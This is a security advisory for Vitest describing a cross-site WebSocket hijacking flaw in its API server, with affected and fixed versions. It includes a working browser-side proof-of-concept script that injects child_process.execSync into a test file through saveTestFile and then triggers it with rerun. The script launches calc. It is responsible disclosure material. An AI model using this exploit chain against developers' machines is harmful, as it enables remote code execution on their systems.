GHSA-9crc-q9x8-hgqq Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

• npm vitest: >= 1.0.0, < 1.6.1 → fixed in 1.6.1 • npm vitest: >= 2.0.0, < 2.1.9 → fixed in 2.1.9 • npm vitest: >= 3.0.0, < 3.0.5 → fixed in 3.0.5 • npm vitest: <= 0.0.125 (no fix yet)

Summary Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks. Details When `api` option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46 This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76 PoC 1. Open Vitest UI. 2. Access a malicious web site with the script below. 3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed. ```js // code from https://github.com/WebReflection/flatted const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p { console.log(e.data) }) ws.addEventListener('open', () => { ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] })) const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles" // edit file content to inject command execution ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "saveTestFile", a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"] })) // rerun the tests to run the injected command execution code ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "rerun", a: [testFilePath] })) }) ``` Impact This vulnerability can result in remote code execution for users that are using Vitest serve API.